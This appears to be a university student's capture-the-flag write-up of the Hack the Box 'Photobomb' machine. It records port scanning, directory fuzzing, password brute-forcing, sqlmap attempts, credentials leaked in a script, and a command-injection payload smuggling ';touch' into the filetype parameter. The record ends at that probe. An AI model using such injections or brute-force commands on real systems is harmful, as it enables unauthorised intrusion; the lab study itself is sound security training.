Uni Hacking Report

Hack the Box: Photobomb Machine

Felicitas Pojtinger (fp036, Stuttgart Media University)

2022-10-14

Abstract

Voluntary Hacking Report for Winter 2022/2023.

Contents

- **Machine**: Photobomb (Medium; `10.10.11.182`, https://app.hackthebox.com/machines/Photobomb)

```
# /etc/hosts
10.10.11.182 photobomb.htb$
```

```
$ nmap -v -p- photobomb.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 18:44 CEST
Initiating Ping Scan at 18:44
Scanning photobomb.htb (10.10.11.182) [2 ports]
Completed Ping Scan at 18:44, 0.05s elapsed (1 total hosts)
Initiating Connect Scan at 18:44
Scanning photobomb.htb (10.10.11.182) [65535 ports]
Discovered open port 80/tcp on 10.10.11.182
Discovered open port 22/tcp on 10.10.11.182
```

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 14 Oct 2022 16:48:11 GMT
Content-Type: text/html;charset=utf-8
Connection: close
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 843
```

```
GET /printer HTTP/1.1
Host: photobomb.htb
Cache-Control: max-age=0
Authorization: Basic YXNkZmFzZGY6c2FkZmFzZGY=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
    /537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
    avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
    b3;q=0.9
Referer: http://photobomb.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

```
$ ffuf -w ~/Downloads/SecLists/Discovery/DNS/bitquark-subdomains-
    top100000.txt:FUZZ -u http://photobomb.htb/ -H 'Host: FUZZ.http://
    photobomb.htb/' -fs 0,154
# No results
$ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list
    -2.3-small.txt:FUZZ -u http://photobomb.htb/FUZZ -fs 12193 -s
# directory-list-2.3-small.txt
# or send a letter to Creative Commons, 171 Second Street,
#
#
```

```
# Priority-ordered case-sensitive list, where entries were found
# license, visit http://creativecommons.org/licenses/by-sa/3.0/

# Suite 300, San Francisco, California, 94105, USA.
#
# on at least 3 different hosts
#
# Attribution-Share Alike 3.0 License. To view a copy of this
# Copyright 2007 James Fisher
# This work is licensed under the Creative Commons
printer
printers
printerfriendly
printer_friendly
printer_icon
printer-icon
printer-friendly
printerFriendly
printersupplies
printer1

printer2
# ...
```

4 4283 77468377 → Invalid number

```
Sinatra 'doesnt know this ditty.

Try this:
get '/asdfsadfsdf' do
  "Hello World"
end
```

We have a Sinatra server.

```
$ hydra -l username -P ~/Downloads/rockyou.txt -s 80 -f photobomb.htb
    http-get /printer
```

```
sqlmap -u 'http://photobomb.htb/printer' --auth-type=basic --auth-cred=
    testuser:testpass --banner -v 5
```

```
$ curl 'http://photobomb.htb/photobomb.js' \
  --compressed \
  --insecure
function init() {
  // Jameson: pre-populate creds for tech support as they keep
      forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s
      *[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','
```

```
        http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;
```

User: pH0t0 Password: b0Mb!

```
$ curl 'http://photobomb.htb/printer' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
     image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
     exchange;v=b3;q=0.9' \
  -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' \
  -H 'Authorization: Basic cEgwdDA6YjBNYiE=' \
  -H 'Cache-Control: max-age=0' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://photobomb.htb' \
  -H 'Referer: http://photobomb.htb/printer' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
     KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' \
  --data-raw 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg
     &dimensions=1000x1500' \
  --compressed \
  --insecure
```

```
$ sqlmap -u 'http://photobomb.htb/printer' --data="photo=asdf" --method
    GET --dbs --batch -time-sec=1 --headers="Authorization: Basic
   cEgwdDA6YjBNYiE="
[19:22:06] [CRITICAL] all tested parameters do not appear to be
   injectable. Try to increase values for '--level'/'--risk' options if
    you wish to perform more tests. If you suspect that there is some
   kind of protection mechanism involved (e.g. WAF) maybe you could try
    to use option '--tamper' (e.g. '--tamper=space2comment') and/or
   switch '--random-agent
$ sqlmap -u 'http://photobomb.htb/printer' --data="filetype=asdf" --
   method GET --dbs --batch -time-sec=1 --headers="Authorization: Basic
    cEgwdDA6YjBNYiE="
[19:22:36] [CRITICAL] all tested parameters do not appear to be
   injectable. Try to increase values for '--level'/'--risk' options if
    you wish to perform more tests. If you suspect that there is some
   kind of protection mechanism involved (e.g. WAF) maybe you could try
    to use option '--tamper' (e.g. '--tamper=space2comment') and/or
   switch '--random-agent'
```

We can download files, so its probably a file inclusion. Where is the upload site? Let's fuzz.

```
$ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list
   -2.3-small.txt:FUZZ -u http://photobomb.htb/FUZZ -fs 12193 -s -H "
   Authorization: Basic cEgwdDA6YjBNYiE="
```

```
curl 'http://photobomb.htb/printer'   -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'   -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8'   -H 'Authorization: Basic cEgwdDA6YjBNYiE='   -H 'Cache-Control: max-age=0'   -H 'Connection: keep-alive'   -H 'Content-Type: application/x-www-form-urlencoded'   -H 'Origin: http://photobomb.htb'   -H 'Referer: http://photobomb.htb/printer'   -H 'Upgrade-Insecure-Requests: 1'   -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'   --data-raw 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg'   --compressed   --insecure > /tmp/asdf.html
# Shows error message with debug information and regex, repeat with other parameters
```

```
post '/printer' do
  photo = params[:photo]
  filetype = params[:filetype]
  dimensions = params[:dimensions]

  # handle inputs
  if photo.match(/\.{2}|\//)
    halt 500, 'Invalid photo.'
  end

  if !FileTest.exist?( "source_images/" + photo )
    halt 500, 'Source photo does not exist.'
  end


  if !filetype.match(/^(png|jpg)/)
    halt 500, 'Invalid filetype.'
  end

  if !dimensions.match(/^[0-9]+x[0-9]+$/)
    halt 500, 'Invalid dimensions.'
  end
```

```
curl 'http://photobomb.htb/printer'   -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'   -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8'   -H 'Authorization: Basic cEgwdDA6YjBNYiE='   -H 'Cache-Control: max-age=0'   -H 'Connection: keep-alive'   -H 'Content-Type: application/x-www-form-urlencoded'   -H 'Origin: http://photobomb.htb'   -H 'Referer: http://photobomb.htb/printer'   -H 'Upgrade-Insecure-Requests: 1'   -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'   --data-raw 'photo=wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg&filetype=jpg;touch asdf-3000x2000.jpg&dimensions=3000x2000'   --compressed   --insecure -vvv
```

```
*   Trying 10.10.11.182:80...
* Connected to photobomb.htb (10.10.11.182) port 80 (#0)
> POST /printer HTTP/1.1
> Host: photobomb.htb
> Accept-Encoding: deflate, gzip, br, zstd
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
> Accept-Language: en-US,en;q=0.9,de;q=0.8
> Authorization: Basic cEgwdDA6YjBNYiE=
> Cache-Control: max-age=0
> Connection: keep-alive
> Content-Type: application/x-www-form-urlencoded
> Origin: http://photobomb.htb
> Referer: http://photobomb.htb/printer
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
> Content-Length: 109
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 14 Oct 2022 18:18:18 GMT
< Content-Type: text/html;charset=utf-8
< Content-Length: 73
< Connection: keep-alive
< Content-Disposition: attachment; filename=wolfgang-hasselmann-RLEgmd1O7gs-unsplash_3000x2000.jpg;touch asdf-3000x2000.jpg
< X-Xss-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Connection #0 to host photobomb.htb left intact
Failed to generate a copy of wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg
```